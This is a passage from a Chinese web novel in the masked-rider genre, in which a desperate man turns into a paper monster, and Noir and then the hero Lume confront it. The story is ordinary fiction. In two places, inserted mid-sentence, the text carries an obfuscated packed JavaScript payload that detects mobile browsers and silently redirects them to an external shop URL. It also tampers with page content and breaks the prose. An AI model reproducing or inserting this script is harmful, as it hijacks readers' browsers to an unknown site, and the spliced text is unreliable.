拉弥想了想,将身旁的食品袋递给中年男:“……拿着吧,虽然不是你女儿喜欢的那款蛋糕,大概率不会得到原谅、也不该被原谅,但至少交给她,然后认真告诉她你会去解决,去填补犯下的错误。” 她有些心虚,原以为中年男是流浪汉,准备先帮对方应付一顿、然后推荐救助站来着……没想到问题比预想中还要复杂。 作为一个过路人,能帮的也只有这些了。 中年男停顿了几秒,双手颤抖着接过袋子:“妹子你真是大好人,我会解决的,一定会的……” 说着说着,这个外表比实际年龄苍老很多的男人红了眼眶。 断断续续的抽泣声从身旁传来,拉弥不想让对方太难堪,于是转过头看向街边。 除了怪兽或怪人带来的麻烦,属于普通人的烦恼啊……大家都不容易。 拉弥原本还有些见哭兴悲,甚至开始思考雇佣中年男的可能,不过想到自己能开出的工资,觉得还是别耽误别人了。 胡思乱想间,一旁的哭声不知何时消失了,只能听到一阵像是纸张摩擦声的奇怪响动。 于是拉弥转过身子,想着再安慰几句,劝对方尽早回家,却看到了不曾想过、甚至根本无法想象的一幕—— 同一位置,原先那颓废的中年男不见了,取而代之的是一个仿佛被纸包裹住全身的人……形生物? 其头部被硬质纸壳层层包裹,唯有眼部的位置不断流出墨水般的泪痕;成捆的纸张取代了四肢与躯干,仿佛是童话中走出的纸制骑士,或似背负罪状书的囚徒。 它似乎仍在哭泣,颤抖间掉下大量碎纸,发出“啪啦、啪啦”的声响。 几张碎纸落在拉弥手边,让她看清了上面的文字——“对不起”。 涂鸦似的手写体如蛆虫一般爬了整张碎纸、或者说破碎的账单,像是忏悔,又像是求助。 如果不是人形生物身上还套着中年男那身肮脏的西服,拉弥几乎以为自己出现了幻觉。 不过几分钟的时间,一个活生生的人类,就这样变成了官方公告中的怪人(kaijin),也就是保留了基本人类属性、等人身高的怪物。 ——啊啊,真是糟糕透了。 8. 第 8 章 拉弥将拐杖挡在身前、俯身去抽绑在石膏上的电棍——来自赤音的小礼物,虽然不指望能派上用场,但总比只能物理攻击的的铁棒好使。 然怪人的反应更快——一道黑影直直向拉弥甩来,那是它全由纸片构成的尾巴,本该脆弱的纸制品化作锋利又坚硬的长鞭,将她整个人抽飞了出去。 拉弥摔进路旁的草丛中,虽然没和水泥地来个亲密接触是好事,但也吃了一嘴的杂草和灰尘。 哪怕提前做了防护、两根拐杖也确实承受了大部分冲击,但那力道依旧大得可怕……合金的拐杖被撞出一道古怪的U型弧度,直接接触到纸张的位置甚至多出了许多细密的、形似刀割的切口,只一眼就足以令密集恐惧症患者心底发毛。 这哪是纸,应该叫做刀片吧? 她翻身滚出草丛,扶上弯曲的拐棍尝试起身逃跑。 再不跑就来不及了——据官方报告表示,作为量产型杂兵的哈斯克力量约为成人三倍有余,而拥有独特外形的怪人则是另一个领域的存在。 简而言之,面对杂兵的攻击拉弥多少还能撑上一会儿,如果对面是怪人的话,她死定了。 真倒霉,为什么自己总能遇到这种事? 才出院没多久,她可不想又躺回去,躺进太平间也不行。 手上稍一用力,只听“咔嚓”一声,本就岌岌可危的拐杖在拉弥手中断成了两截,让其瞬间失去重心、再一次与大地双向奔赴,摔得眼冒金星。 甚至无法独自完成站立的她只能眼睁睁看着怪人越来越近……怪人的步伐并不快,但每一步都好似踩在丧钟上,刺激着拉弥本就紧绷的神经。 有那么一瞬间,拉弥感觉自己再度失去了对身体的控制权,雨夜的那一幕仿佛即将重现—— 完全由1与0构成的符号开始从其瞳孔中央扩散,蔓延至整个眼眶,将巩膜染成纯粹的墨黑色,带着无机质的质感,空洞而又冰冷。 然而,一道横飞而过的黑影搅乱了拉弥愈加急促的呼吸,也打断了她身上正发生的变化,仿佛那不过一场恐惧到极致而产生的错觉。 扁平的长方形物体从咖啡店的方向飞出,准确无误地砸在了怪人的脑门上。 什么玩意儿,一个……餐盘? “姐姐,快跑!” 双目恢复正常的拉弥循声望去——是诺尔,只见他快步冲出店门,趁着怪人因餐盘愣神的功夫挡在了她和怪人之间。 拉弥气不打一处来,要不是行动不便,绝对要朝倒霉孩子的翘臀来上一脚—— 你去报警啊,我这样子怎么跑?! 诺尔哪能听到拉弥的无声吐槽,只是固执地挡在前方,死死盯着怪人的一举一动。 怪人除了外表与人类相近,大多也保留了基本的人类属性,甚有传闻称部分怪人拥有语言乃至沟通的能力。 换句话说,比起杂兵、怪人更具备活物的特征——事实也正如此,眼前的怪人歪了歪头,透过不存在、却仍在不断流出墨水的眼睛观察着二人,就像个对一切都充满了好奇的孩童,天真又恶毒。 接近人类,却是捕食人类的猎手。 趁这会儿功夫,趴在地上的拉弥已经通过手机上的安全警报向外呼救,至于救援能多久赶到……她觉得大概没俩人死得快。 好吧,原本只是要没自己一个,现在葫芦娃救奶奶,两弱鸡一块儿送了。 这份僵持并没有持续多久,怪人身后的纸尾巴再次高高抬起,向着地上的拉弥甩去——它算准了她无法躲避,又或是不打算放过最初的猎物。 诺尔见状,连犹豫都不带地扑向了拉弥,用身体硬挡下这一击。 “刺啦——”,是衣物破损声,也是血肉撕裂声。 诺尔的后背瞬间多出道血淋淋的口子,然而更令拉弥震惊的是……无论是怪人尾部边缘向下滴落的、还是其伤口正不断向外流出的血液,都是蓝色的。 荧蓝色的液体,就像那些哈斯克——那些非人存在的血液一样。 没等拉弥从震惊中走出,诺尔仿佛无痛觉一般强行站直了身子,从衣兜里掏出一个巴掌大的方形物体。 拉弥之前见过这玩意儿,似乎是对方失忆前就随身携带的物件,设计上更接近过分精致的玩具,原先她还以为是什么联动ACGN作品的衍生周边,就没太放在心上。 现在想来,虽然配色和造型有异,这东西竟与自己清醒那天、看到希莱变身所用的方盒是同一型号。 难道诺尔也是…… “我说过,我本该保护您、保护人类……这一次,我会做到。” 许是本能,又或者是想起了什么,诺尔在触碰到方盒的瞬间就明白了用法——他将方盒按至腰间,两段银白的带子随即弹出、在腰后相接,组成一条完整的腰带。 他右手按在腰带上,左手抬起、向下虚握,咬着牙说:“变身。” 从腰带中心涌出的黑雾瞬间将他整个人包裹、吞没。 这一次拉弥听见的是低沉的祷告声,像祝福又似诅咒,熟悉的中性电子音再次出现: 「授权登入——」 「光碎同步——坠入暗影,R.A.Y. On!」 「潜行黑暗,守护真理——假面骑士·Noir。」 诺尔就这样在拉弥眼前变身为黑紫色的骑士,正是三位光碎骑士中缺席的最后一位。 “那么,开始祈祷吧,即使祈祷无用。” 透过铠甲传出的声音仿佛被处理过一般陌生,黑紫色的骑士向纸制的敌人发起了冲锋。 哇塞,是正版玩具……这腰带配音还会根据使用者变换台词和语气的吗? 拉弥脑海中瞬间飞过无数条弹幕,这十几分钟内收到的海量信息已经让她有点吃不消了,一时间冰冷的水泥地也变得和蔼可亲很多,感觉自己还能再趴一会儿。 如果说骑士Shira的铠甲造型与战斗风格像是狂野的战士,那么骑士Noir则像是鬼魅的刺客。 半臂长的双刃镰刀凭空出现至其手中,如幽魂般躲开怪人攻击的同时、抬手斩断了那条鞭子一样的尾巴,喷涌而出的血液甚至没能追上他的衣角。 然而不过几秒的功夫,那些落地的碎纸再次聚拢重组,连接上怪人的身体。 如果不是地上那滩无法忽视的蓝血,仿佛一切伤害都不曾发生过似的。 Noir没有就此停下攻势,镰刀在其手中自如得仿若四肢的延展,刀锋从各个诡异角度的突入,数息间就切开了怪人的廉价西装、斩断了它的四肢。 飞溅的血花在空气中划出一个又一个圆弧,远远看上去美极了,就像是立体演出中的蝴蝶影像,为铠甲骑士与纸片怪物展开了荧蓝色的鳞翅,翩翩起舞,美轮美奂。 最后,刀刃砍下了怪人的头颅。 拉弥差点出声阻止,但她很快就意识到自己错了——断裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808575|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的纸张下并非是其想象中的人类躯体,而是纸、无数的纸,破损后会流出蓝血的账单。 那些纸张压垮了一位儿子、一位丈夫与一位父亲,或许还有半位兄长,然后剥夺了它作为人类的身份。 那个可恨的、悲哀的中年男人,就这样消失了吗?她甚至还不知道对方的名字…… 怪人再度恢复如初,但Noir已经发现了由纸张构成的它的核心。 他俯身躲开对方那重复又无力的攻击——对骑士来说是如此,刀刃横向切开其腰腹,伸手从缝隙掏出了什么——是一个印有黎明咖啡logo的食品袋,鼓鼓囊囊的,似乎装有什么。 一个古怪、格格不入的食品袋,却是这个新生怪人的核心。 看到一幕的拉弥仿佛被电流击中,她呆滞了几秒,想笑出声,却只能挤出比哭还难看的笑容。 真浪费啊,她想,有一个女孩等不到属于自己的蛋糕了。 Noir自然不知道袋子代表了什么,刀光闪过,包装连带里面的蛋糕碎成了几块,怪人那纸片做成的身躯也随之崩塌散开,再没有恢复的迹象。 最后一刻,拉弥似乎听到了前不久才交流过的声音,那声音在说……“对不起”。 这话不该对自己说吧,她想。 不是还有人在等你吗?本该听到这句话的,你的家人。 拉弥有些没来由地狂躁,她不是想责怪保护了自己的Noir、或者说诺尔,她是在怪自己。 为什么人类会变成怪人,为什么中年男会突然变异?如果她早些发现的话…… “姐姐您没事吧?”诺尔解除了变身,再次变回那个青涩的大男孩,上前小心翼翼地将拉弥扶起。 许是察觉到姐姐情绪不对,他的语气甚至可以称得上卑微,与其作为骑士Noir时那干净利落到残酷的战斗风格完全是两个画风。 拉弥只是以一种微妙的表情注视着他,一言不发——其实她是被巨大信息量整得有些蒙圈,诺尔却以为对方在生自己的气,一时间觉得天都塌了。 大男孩顿时变得有些手足无措,仿佛眼前这幕比怪人出现还要危险百倍,更让他这个守护者无法接受。 “我、我不是故意要隐瞒您的,是刚才脑海中有个声音,告诉我可以使用放射驱动器(R.A.Y.Driver)、也就是那个盒子变身,用来保护我们。” 他的声音越来越低:“……除此之外,我还想起了一些关于您的片段。” “我?”拉弥回过神,诺尔失去的记忆又跟她有什么关系,她俩不是那天雨夜才第一次见吗?那时的诺尔甚至只吊着半口气,大概率还是单方面的见面。 总不能是趴着的对方看见了自己仓皇逃窜的背影……想想就有点丢人。 诺尔看上去有几分着急:“您不记得了吗?我们见过的,在我很小的时候,‘黑房’中……” 然不等他说完,一阵刺耳的轮胎摩擦声盖过了后续的话语—— 一辆怎么看都不该被允许上路的改装机车急停在两人身前,从上面跳下来一个与橙蓝色车身同色系的骑士,向着两人摆出(自认为)帅气的姿势: “英雄登场!需要帮忙的就是二位吗?” “请放心——光碎骑士Lume,就是我!会解决一切!” 比起惶恐的诺尔,拉弥已经有些漠然、甚至可以说麻木了。 哟,三个骑士齐了。 9. 第 9 章 “没事,有我在——战斗开始!” 橙蓝色的骑士嘴里喊着意义不明的台词,一手叉腰一手指天、摆出活似只大公鸡的奇怪姿势——大概是守护者登场时固定的口号和动作、用以强化自身记忆性之类的设定。 只是比起Shira和Noir,眼前这位骑士就要浮夸太多了,甚至有点儿童剧演员的既视感。 至于为什么是意义不明? 姐弟俩不约而同地看向怪人倒地的位置,那里只剩散落一地的纸片,勉强能透过碎纸和残缺的西装在脑海中拼凑出一个完整人形,仿佛是什么凶案调查现场。 你打算和谁“战斗开始”呢? 骑士也跟着转移视线,看到“尸骸”的一刻愣了好几秒。 他又左看看、右瞧瞧,这才发现现场再无其它危机,或者是没他事了:“什么!敌人已经被打败了吗?是谁……不,要感谢对方,但是,啊啊啊来迟了一步!” 啊,是笨蛋啊,还是很吵的笨蛋。 隔着铠甲,拉弥都能想象出对方面具下时而沮丧时而抓狂的脸,光碎骑士Lume——就是这样的人,希莱口中会帮倒忙的一根筋笨蛋。 不知道高中生组变身又会是怎样的一副场景…… 趁着lume无能狂怒的空档,拉弥很自然地脱下了外套,顺手披在正搀扶着自己的诺尔身上,盖住其背后的伤口,就像是关照着凉后辈的长辈那般寻常,没有引起骑士的注意。 诺尔一怔,旋即明白对方的意思,他歪过头、嘴唇一抿,另一只手轻轻抓着外套衣袖,像是被授予了什么宝物一样小心对待。 “可恶,那我岂不是完全没派上用场……对了!二位就是发出求救信号的求助人吗?有没有受伤,需要我送你们去医院吗?” 终于找到自己存在价值的Lume凑到两人面前,虽然看不见脸、连声音大概率都是假的,但依旧能听得出其态度之诚恳,是发自内心的在关心姐弟俩。 改装机车外加危险驾驶加超载,你是想在牢里跨年吗? 拉弥摇了摇头:“我们没事,只是摔了一跤,问题不大。是个刺客一样的黑紫色骑士救了我们,他已经离开了。” 她说起谎话来那叫一个面不改色心不跳,一旁负责当拐杖的诺尔头都快低到胸口了,小年轻一看就经历少,脸皮厚度还没锻炼出来。 虽然现在能确定诺尔失忆前与两位骑士是同一阵线,但谁知道在这期间还发生过什么,骑士Noir又为何会失忆? 诺尔那蓝色的血液给拉弥感觉不妙,她不知道另两位骑士是否知道这一情况,也不知道对方是否真跟传闻中的邪恶组织有所牵连,又牵连得有多深。 她知道希莱就如其网上形象一样是个率直又果敢的姑娘,也能看出面前的Lume是个阳光开朗大男青年……怪傻的、但人品不坏,但拉弥还是决定再等等,至少等诺尔恢复记忆再说。 “同伴之前无需隐瞒”——怎么也该让“同伴”本人亲口去解释这一切,去决定如何处理后续。 退一万步说,这是守护者该烦恼的事,关她一个只想护着便宜弟弟兼帮工的咖啡店老板什么事? 说话间拉弥已经做好打马虎眼的主意,那么接下来需要确认的问题就是…… 听到拉弥的描述,Lume那对异色的复眼都亮了几分:“是Noir!那小子还活着,姐有看到他去哪了吗?” ——确定了,这群光碎骑士……根本就不知道并肩作战的同伴铠甲下到底是谁,所谓摘了面具不认人。 三人真的是同伴吗?她表示怀疑。 “喏,那边。”拉弥随意指了个方向,看似漫不经心地试探道:“说起来最近很少在新闻上见到那位黑紫色骑士,你们是朋友吗?” “当然了,我们是最好的搭档,虽然偶尔也会产生分歧,但我相信事情都会解决!” ——但本人就站在在你面前,你却根本没认出他。 拉弥默默看了眼诺尔,对方一副欲言又止的模样,不知是在纠结是否道出真相,还是单纯在尴尬。 “以及谢谢姐告知!那我就先走了,那小子跑这么快干什么?”Lume刚抬起的脚又收了回去,不太确定地看向诺尔:“你……” 难道他看出来了?姐弟俩都有些紧张。 “……你气息不太稳,是受伤了?需要帮忙吗,不要硬撑哦。” 拉弥噗嗤笑出声,她搭在诺尔肩上的手指轻轻敲击着:“他伤得不重,我们会自行处理的,就不耽误英雄的时间了。” 诺尔也配合着小声说了句“我没事”。 “帮助伤者可不是什么耽误时间。”许是看出两人的回避,Lume也没有勉强:“总之——有需要的话请一定告诉我,我会尽力的!” “问问题也可以吗?”拉弥突然发问。 “嗯……嗯嗯?请说。” 她指了指怪人倒地的位置:“就在刚才,我亲眼看到一个中年男从人类变成了怪物,这可是新闻或者官方公告中没提到过的。” “人类?!”诺尔有些惊讶地抬起头,抛出餐盘前他并没有看到纸张怪人的真身,既然对方是人类所变,那么自己岂不是……? 怎么会是人类?怎么会是人类…… 想到这,他的身体不受控地颤抖起来,却被拉弥一把按住。 “不关你的事。”她轻声说,只有诺尔知道其中含义。 既然纸张怪人的前身是人类,那么那些出现在新闻报道中、或被守护者击败于某个角落的怪人呢? 那些怪物……也曾经是人类吗? 风风火火的Lume也停住了,他望向怪人的残片,沉默片刻,再次中气十足地回应:“我不知道——我嘴很笨,我不知道该怎么解释,也不知道为什么会发生这样的事。” “但我知道,只要怪人袭击人类,我就会出手阻止、并打败对方,也会找到彻底终结这种悲剧的方式。” “这就是我们光碎骑士、以及所有守护者存在的意义。” 守护者存在的意义……或许是听进去了,诺尔僵硬的身体顿时放松了不少。 “这样啊。”拉弥笑了,这次抛去了先前的敷衍,而是情真意切的笑容:“谢谢你们。” 这击直球倒是整得Lume有些不好意思了:“应、应该的,那我……那我就先走了,姐你们也要注意安全啊!” 说罢他几步跨上那台交警乐——改装机车,头也不回地驶离了现场。 望着逐渐消失在道路尽头的机车,拉弥不禁感慨:“这孩子人真不错啊。”笨是笨了点,但不会讨人厌。 “姐姐您喜欢那个骑士吗?”诺尔幽幽地问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16808576|190771||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我再刻薄也不会去讨厌一个好人吧?” “那跟骑士Noir比呢?” 拉弥秒答:“我更喜欢骑士Shira。” 然后不顾心碎的弟弟的感受,指挥他去路边找了根结实的树枝给自己当临时拐杖,哪怕对方的背影真的很像一只刚被抛弃的小狗。 两人互相搀扶着回到店内,拉弥翻出吧台下积灰的急救箱,粗暴地掀起诺尔的上衣、示意其趴在吧台上,准备做个应急消毒和包扎,医院肯定是不能去了。 然而很快她就发现,在这短短半小时内诺尔后背的伤口已经完全止血,缺损处出现肉芽组织,有了开始愈合的迹象. 是守护者的特别力量,还是属于怪物的自愈力?她想到能不断再生的纸张怪人。 不过衣服扒都扒了……拉弥不顾羞耻度爆棚的诺尔的反抗,全套消毒后按照网上的教程完成了包扎。 她还在其脖子后留了个蝴蝶结,多少就有点个人恶趣味了。 完事拉弥将沾染上蓝血的衣服打包装好,这玩意儿可不能让别人看到。 原本她是想直接送去垃圾站销毁的,但诺尔表达了反对意见——自己那破衬衫扔就扔了,姐姐的外套可不能乱扔,他会负责清洗工作,保证恢复原样。 有人主动承包累活,拉弥又何乐而不为,也就随对方去了。 那么又有新的问题了,完全是门外汉的她都能发现诺尔身上的异常,那个喜欢自说自话的医生怎么会没发现? 抛开对方纯混子的可能,总不会是到咖啡店这几天才变异的,黎明咖啡可不是什么污染区,就算是、自己也早成蓝巨人了。 “你的方盒……就那个变身道具、什么驱动器来着,让我看看。”拉弥一副二流子的模样勾勾手指。 诺尔自然不会拒绝,接过驱动器的她先是拿在手里把玩了一会儿,然后当着正主的面学其动作,将变身道具按在了自己腰间。 不算意外的是,什么都没有发生。 “放射驱动器有身份识别功能。”诺尔小声解释:“外人无法使用……我不是说姐姐您是什么外人,但我也不知道如何修改。” “没事没事,我没指望自己真能变身。”拉弥拍拍弟弟的脑袋,还回了属于对方的变身道具。 也就是说,外人冒充、隔着铠甲混淆视听这种剧情不会发生。 但怎么说呢,拿到正版玩具却不能使用,多少还是有些小遗憾的…… 将拉弥略显失落的表情收入眼底,诺尔脑中不禁浮现袭击发生时想起的记忆片段: 那时的他还没有属于自己的名字,因为犯错,又一次被关进黑房——封闭、沉闷得看不见希望的囚笼。 他大多时间都只能蜷缩在冰冷的铁床上,意识模糊间总能闻到一股如有若无的腐败味,不知那味道来自霉菌,还是自己的身体。 一台被切断了外部网络的老式平板是他在这狭小空间里唯一的“玩具”,只能用来阅读一些被允许存在的电子书,或是反复背诵此地的“实验室准则”,以防下次再被处罚。 某天,他又一次干巴巴地念出那些对其年龄而言过于枯燥的文字,突然画面一黑,再亮起时屏幕上第一次出现了完全陌生的事物—— 那是一条来源未知的短讯: 「你好,我是R。」